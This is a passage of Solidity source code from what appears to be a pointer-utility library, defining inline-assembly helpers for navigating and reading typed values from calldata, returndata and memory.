}\n\n /// @dev Resolves an offset stored at `cdPtr` to a calldata pointer.\n /// `cdPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n CalldataPointer cdPtr\n ) internal pure returns (CalldataPointer cdPtrChild) {\n cdPtrChild = cdPtr.offset(cdPtr.readUint256() & OffsetOrLengthMask);\n }\n\n /// @dev Returns the calldata pointer one word after `cdPtr`.\n function next(\n CalldataPointer cdPtr\n ) internal pure returns (CalldataPointer cdPtrNext) {\n assembly {\n cdPtrNext := add(cdPtr, _OneWord)\n }\n }\n\n /// @dev Returns the calldata pointer `_offset` bytes after `cdPtr`.\n function offset(\n CalldataPointer cdPtr,\n uint256 _offset\n ) internal pure returns (CalldataPointer cdPtrNext) {\n assembly {\n cdPtrNext := add(cdPtr, _offset)\n }\n }\n\n /// @dev Copies `size` bytes from calldata starting at `src` to memory at\n /// `dst`.\n function copy(\n CalldataPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal pure {\n assembly {\n calldatacopy(dst, src, size)\n }\n }\n}\n\nlibrary ReturndataPointerLib {\n function lt(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(ReturndataPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n /// @dev Resolves an offset stored at `rdPtr + headOffset` to a returndata\n /// pointer. `rdPtr` must point to some parent object with a dynamic\n /// type's head stored at `rdPtr + headOffset`.\n function pptr(\n ReturndataPointer rdPtr,\n uint256 headOffset\n ) internal pure returns (ReturndataPointer rdPtrChild) {\n rdPtrChild = rdPtr.offset(\n rdPtr.offset(headOffset).readUint256() & OffsetOrLengthMask\n );\n }\n\n /// @dev Resolves an offset stored at `rdPtr` to a returndata pointer.\n /// `rdPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n ReturndataPointer rdPtr\n ) internal pure returns (ReturndataPointer rdPtrChild) {\n rdPtrChild = rdPtr.offset(rdPtr.readUint256() & OffsetOrLengthMask);\n }\n\n /// @dev Returns the returndata pointer one word after `cdPtr`.\n function next(\n ReturndataPointer rdPtr\n ) internal pure returns (ReturndataPointer rdPtrNext) {\n assembly {\n rdPtrNext := add(rdPtr, _OneWord)\n }\n }\n\n /// @dev Returns the returndata pointer `_offset` bytes after `cdPtr`.\n function offset(\n ReturndataPointer rdPtr,\n uint256 _offset\n ) internal pure returns (ReturndataPointer rdPtrNext) {\n assembly {\n rdPtrNext := add(rdPtr, _offset)\n }\n }\n\n /// @dev Copies `size` bytes from returndata starting at `src` to memory at\n /// `dst`.\n function copy(\n ReturndataPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal pure {\n assembly {\n returndatacopy(dst, src, size)\n }\n }\n}\n\nlibrary MemoryPointerLib {\n function copy(\n MemoryPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal view {\n assembly {\n let success := staticcall(\n gas(),\n IdentityPrecompileAddress,\n src,\n size,\n dst,\n size\n )\n if or(iszero(returndatasize()), iszero(success)) {\n revert(0, 0)\n }\n }\n }\n\n function lt(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(MemoryPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n function hash(\n MemoryPointer ptr,\n uint256 length\n ) internal pure returns (bytes32 _hash) {\n assembly {\n _hash := keccak256(ptr, length)\n }\n }\n\n /// @dev Returns the memory pointer one word after `mPtr`.\n function next(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer mPtrNext) {\n assembly {\n mPtrNext := add(mPtr, _OneWord)\n }\n }\n\n /// @dev Returns the memory pointer `_offset` bytes after `mPtr`.\n function offset(\n MemoryPointer mPtr,\n uint256 _offset\n ) internal pure returns (MemoryPointer mPtrNext) {\n assembly {\n mPtrNext := add(mPtr, _offset)\n }\n }\n\n /// @dev Resolves a pointer at `mPtr + headOffset` to a memory\n /// pointer. `mPtr` must point to some parent object with a dynamic\n /// type's pointer stored at `mPtr + headOffset`.\n function pptr(\n MemoryPointer mPtr,\n uint256 headOffset\n ) internal pure returns (MemoryPointer mPtrChild) {\n mPtrChild = mPtr.offset(headOffset).readMemoryPointer();\n }\n\n /// @dev Resolves a pointer stored at `mPtr` to a memory pointer.\n /// `mPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer mPtrChild) {\n mPtrChild = mPtr.readMemoryPointer();\n }\n}\n\nlibrary CalldataReaders {\n /// @dev Reads the value at `cdPtr` and applies a mask to return only the\n /// last 4 bytes.\n function readMaskedUint256(\n CalldataPointer cdPtr\n ) internal pure returns (uint256 value) {\n value = cdPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `cdPtr` in calldata.\n function readBool(\n CalldataPointer cdPtr\n ) internal pure returns (bool value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the address at `cdPtr` in calldata.\n function readAddress(\n CalldataPointer cdPtr\n ) internal pure returns (address value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes1 at `cdPtr` in calldata.\n function readBytes1(\n CalldataPointer cdPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes2 at `cdPtr` in calldata.\n function readBytes2(\n CalldataPointer cdPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes3 at `cdPtr` in calldata.\n function readBytes3(\n CalldataPointer cdPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes4 at `cdPtr` in calldata.\n function readBytes4(\n CalldataPointer cdPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes5 at `cdPtr` in calldata.\n function readBytes5(\n CalldataPointer cdPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes6 at `cdPtr` in calldata.\n function readBytes6(\n CalldataPointer cdPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes7 at `cdPtr` in calldata.\n function readBytes7(\n CalldataPointer cdPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes8 at `cdPtr` in calldata.\n function readBytes8(\n CalldataPointer cdPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes9 at `cdPtr` in calldata.\n function readBytes9(\n CalldataPointer cdPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes10 at `cdPtr` in calldata.\n function readBytes10(\n CalldataPointer cdPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes11 at `cdPtr` in calldata.\n function readBytes11(\n CalldataPointer cdPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes12 at `cdPtr` in calldata.\n function readBytes12(\n CalldataPointer cdPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes13 at `cdPtr` in calldata.\n function readBytes13(\n CalldataPointer cdPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes14 at `cdPtr` in calldata.\n function readBytes14(\n CalldataPointer cdPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes15 at `cdPtr` in calldata.\n function readBytes15(\n CalldataPointer cdPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes16 at `cdPtr` in calldata.\n function readBytes16(\n CalldataPointer cdPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes17 at `cdPtr` in calldata.\n function readBytes17(\n CalldataPointer cdPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes18 at `cdPtr` in calldata.\n function readBytes18(\n CalldataPointer cdPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes19 at `cdPtr` in calldata.\n function readBytes19(\n CalldataPointer cdPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes20 at `cdPtr` in calldata.\n function readBytes20(\n CalldataPointer cdPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes21 at `cdPtr` in calldata.\n function readBytes21(\n CalldataPointer cdPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes22 at `cdPtr` in calldata.\n function readBytes22(\n CalldataPointer cdPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes23 at `cdPtr` in calldata.\n function readBytes23(\n CalldataPointer cdPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes24 at `cdPtr` in calldata.\n function readBytes24(\n CalldataPointer cdPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes25 at `cdPtr` in calldata.\n function readBytes25(\n CalldataPointer cdPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes26 at `cdPtr` in calldata.\n function readBytes26(\n CalldataPointer cdPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes27 at `cdPtr` in calldata.\n function readBytes27(\n CalldataPointer cdPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes28 at `cdPtr` in calldata.\n function readBytes28(\n CalldataPointer cdPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes29 at `cdPtr` in calldata.\n function readBytes29(\n CalldataPointer cdPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes30 at `cdPtr` in calldata.\n function readBytes30(\n CalldataPointer cdPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes31 at `cdPtr` in calldata.\n function readBytes31(\n CalldataPointer cdPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes32 at `cdPtr` in calldata.\n function readBytes32(\n CalldataPointer cdPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint8 at `cdPtr` in calldata.\n function readUint8(\n CalldataPointer cdPtr\n ) internal pure returns (uint8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint16 at `cdPtr` in calldata.\n function readUint16(\n CalldataPointer cdPtr\n ) internal pure returns (uint16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint24 at `cdPtr` in calldata.\n function readUint24(\n CalldataPointer cdPtr\n ) internal pure returns (uint24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint32 at `cdPtr` in calldata.\n function readUint32(\n CalldataPointer cdPtr\n ) internal pure returns (uint32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint40 at `cdPtr` in calldata.\n function readUint40(\n CalldataPointer cdPtr\n ) internal pure returns (uint40 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint48 at `cdPtr` in calldata.\n function readUint48(\n CalldataPointer cdPtr\n ) internal pure returns (uint48 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint56 at `cdPtr` in calldata.\n function readUint56(\n CalldataPointer cdPtr\n ) internal pure returns (uint56 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint64 at `cdPtr` in calldata.\n function readUint64(\n CalldataPointer cdPtr\n ) internal pure returns (uint64 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint72 at `cdPtr` in calldata.\n function readUint72(\n CalldataPointer cdPtr\n ) internal pure returns (uint72 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint80 at `cdPtr` in calldata.\n function readUint80(\n CalldataPointer cdPtr\n ) internal pure returns (uint80 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint88 at `cdPtr` in calldata.\n function readUint88(\n CalldataPointer cdPtr\n ) internal pure returns (uint88 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint96 at `cdPtr` in calldata.\n function readUint96(\n CalldataPointer cdPtr\n ) internal pure returns (uint96 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint104 at `cdPtr` in calldata.\n function readUint104(\n CalldataPointer cdPtr\n ) internal pure returns (uint104 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint112 at `cdPtr` in calldata.\n function readUint112(\n CalldataPointer cdPtr\n ) internal pure returns (uint112 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint120 at `cdPtr` in calldata.\n function readUint120(\n CalldataPointer cdPtr\n ) internal pure returns (uint120 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint128 at `cdPtr` in calldata.\n function readUint128(\n CalldataPointer cdPtr\n ) internal pure returns (uint128 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint136 at `cdPtr` in calldata.\n function readUint136(\n CalldataPointer cdPtr\n ) internal pure returns (uint136 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint144 at `cdPtr` in calldata.\n function readUint144(\n CalldataPointer cdPtr\n ) internal pure returns (uint144 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint152 at `cdPtr` in calldata.\n function readUint152(\n CalldataPointer cdPtr\n ) internal pure returns (uint152 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint160 at `cdPtr` in calldata.\n function readUint160(\n CalldataPointer cdPtr\n ) internal pure returns (uint160 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint168 at `cdPtr` in calldata.\n function readUint168(\n CalldataPointer cdPtr\n ) internal pure returns (uint168 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint176 at `cdPtr` in calldata.\n function readUint176(\n CalldataPointer cdPtr\n ) internal pure returns (uint176 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint184 at `cdPtr` in calldata.\n function readUint184(\n CalldataPointer cdPtr\n ) internal pure returns (uint184 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint192 at `cdPtr` in calldata.\n function readUint192(\n CalldataPointer cdPtr\n ) internal pure returns (uint192 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint200 at `cdPtr` in calldata.\n function readUint200(\n CalldataPointer cdPtr\n ) internal pure returns (uint200 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint208 at `cdPtr` in calldata.\n function readUint208(\n CalldataPointer cdPtr\n ) internal pure returns (uint208 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint216 at `cdPtr` in calldata.\n function readUint216(\n CalldataPointer cdPtr\n ) internal pure returns (uint216 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint224 at `cdPtr` in calldata.\n function readUint224(\n CalldataPointer cdPtr\n ) internal pure returns (uint224 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint232 at `cdPtr` in calldata.\n function readUint232(\n CalldataPointer cdPtr\n ) internal pure returns (uint232 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint240 at `cdPtr` in calldata.\n function readUint240(\n CalldataPointer cdPtr\n ) internal pure returns (uint240 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint248 at `cdPtr` in calldata.\n function readUint248(\n CalldataPointer cdPtr\n ) internal pure returns (uint248 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint256 at `cdPtr` in calldata.\n function readUint256(\n CalldataPointer cdPtr\n ) internal pure returns (uint256 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int8 at `cdPtr` in calldata.\n function readInt8(\n CalldataPointer cdPtr\n ) internal pure returns (int8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int16 at `cdPtr` in calldata.\n function readInt16(\n CalldataPointer cdPtr\n ) internal pure returns (int16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int24 at `cdPtr` in calldata.\n function readInt24(\n CalldataPointer cdPtr\n ) internal pure returns (int24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int32 at `cdPtr` in calldata.\n function readInt32(\n CalldataPointer cdPtr\n ) internal pure returns (int32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int40 at `cdPtr` in calldata.\n function readInt40(\n CalldataPointer cdPtr\n ) internal pure returns (int40 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int48 at `cdPtr` in calldata.\n function readInt48(\n CalldataPointer cdPtr\n ) internal pure returns (int48 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int56 at `cdPtr` in calldata.\n function readInt56(\n CalldataPointer cdPtr\n ) internal pure returns (int56 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int64 at `cdPtr` in calldata.\n function readInt64(\n CalldataPointer cdPtr\n ) internal pure returns (int64 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int72 at `cdPtr` in calldata.\n function readInt72(\n CalldataPointer cdPtr\n ) internal pure returns (int72 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int80 at `cdPtr` in calldata.\n function readInt80(\n CalldataPointer cdPtr\n ) internal pure returns (int80 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int88 at `cdPtr` in calldata.\n function readInt88(\n CalldataPointer cdPtr\n ) internal pure returns (int88 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int96 at `cdPtr` in calldata.\n function readInt96(\n CalldataPointer cdPtr\n ) internal pure returns (int96 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int104 at `cdPtr` in calldata.\n function readInt104(\n CalldataPointer cdPtr\n ) internal pure returns (int104 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int112 at `cdPtr` in calldata.\n function readInt112(\n CalldataPointer cdPtr\n ) internal pure returns (int112 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int120 at `cdPtr` in calldata.\n function readInt120(\n CalldataPointer cdPtr\n ) internal pure returns (int120 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int128 at `cdPtr` in calldata.\n function readInt128(\n CalldataPointer cdPtr\n ) internal pure returns (int128 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int136 at `cdPtr` in calldata.\n function readInt136(\n CalldataPointer cdPtr\n ) internal pure returns (int136 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int144 at `cdPtr` in calldata.\n function readInt144(\n CalldataPointer cdPtr\n ) internal pure returns (int144 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int152 at `cdPtr` in calldata.\n function readInt152(\n CalldataPointer cdPtr\n ) internal pure returns (int152 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int160 at `cdPtr` in calldata.\n function readInt160(\n CalldataPointer cdPtr\n ) internal pure returns (int160 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int168 at `cdPtr` in calldata.\n function readInt168(\n CalldataPointer cdPtr\n ) internal pure returns (int168 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int176 at `cdPtr` in calldata.\n function readInt176(\n CalldataPointer cdPtr\n ) internal pure returns (int176 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int184 at `cdPtr` in calldata.\n function readInt184(\n CalldataPointer cdPtr\n ) internal pure returns (int184 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int192 at `cdPtr` in calldata.\n function readInt192(\n CalldataPointer cdPtr\n ) internal pure returns (int192 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int200 at `cdPtr` in calldata.\n function readInt200(\n CalldataPointer cdPtr\n ) internal pure returns (int200 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int208 at `cdPtr` in calldata.\n function readInt208(\n CalldataPointer cdPtr\n ) internal pure returns (int208 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int216 at `cdPtr` in calldata.\n function readInt216(\n CalldataPointer cdPtr\n ) internal pure returns (int216 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int224 at `cdPtr` in calldata.\n function readInt224(\n CalldataPointer cdPtr\n ) internal pure returns (int224 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int232 at `cdPtr` in calldata.\n function readInt232(\n CalldataPointer cdPtr\n ) internal pure returns (int232 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int240 at `cdPtr` in calldata.\n function readInt240(\n CalldataPointer cdPtr\n ) internal pure returns (int240 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int248 at `cdPtr` in calldata.\n function readInt248(\n CalldataPointer cdPtr\n ) internal pure returns (int248 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int256 at `cdPtr` in calldata.\n function readInt256(\n CalldataPointer cdPtr\n ) internal pure returns (int256 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n}\n\nlibrary ReturndataReaders {\n /// @dev Reads value at `rdPtr` & applies a mask to return only last 4 bytes\n function readMaskedUint256(\n ReturndataPointer rdPtr\n ) internal pure returns (uint256 value) {\n value = rdPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `rdPtr` in returndata.\n function readBool(\n ReturndataPointer rdPtr\n ) internal pure returns (bool value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the address at `rdPtr` in returndata.\n function readAddress(\n ReturndataPointer rdPtr\n ) internal pure returns (address value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes1 at `rdPtr` in returndata.\n function readBytes1(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes2 at `rdPtr` in returndata.\n function readBytes2(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes3 at `rdPtr` in returndata.\n function readBytes3(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes4 at `rdPtr` in returndata.\n function readBytes4(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes5 at `rdPtr` in returndata.\n function readBytes5(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes6 at `rdPtr` in returndata.\n function readBytes6(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes7 at `rdPtr` in returndata.\n function readBytes7(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes8 at `rdPtr` in returndata.\n function readBytes8(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes9 at `rdPtr` in returndata.\n function readBytes9(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes10 at `rdPtr` in returndata.\n function readBytes10(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes11 at `rdPtr` in returndata.\n function readBytes11(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes12 at `rdPtr` in returndata.\n function readBytes12(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes13 at `rdPtr` in returndata.\n function readBytes13(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes14 at `rdPtr` in returndata.\n function readBytes14(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes15 at `rdPtr` in returndata.\n function readBytes15(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes16 at `rdPtr` in returndata.\n function readBytes16(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes17 at `rdPtr` in returndata.\n function readBytes17(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes18 at `rdPtr` in returndata.\n function readBytes18(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes19 at `rdPtr` in returndata.\n function readBytes19(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes20 at `rdPtr` in returndata.\n function readBytes20(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the 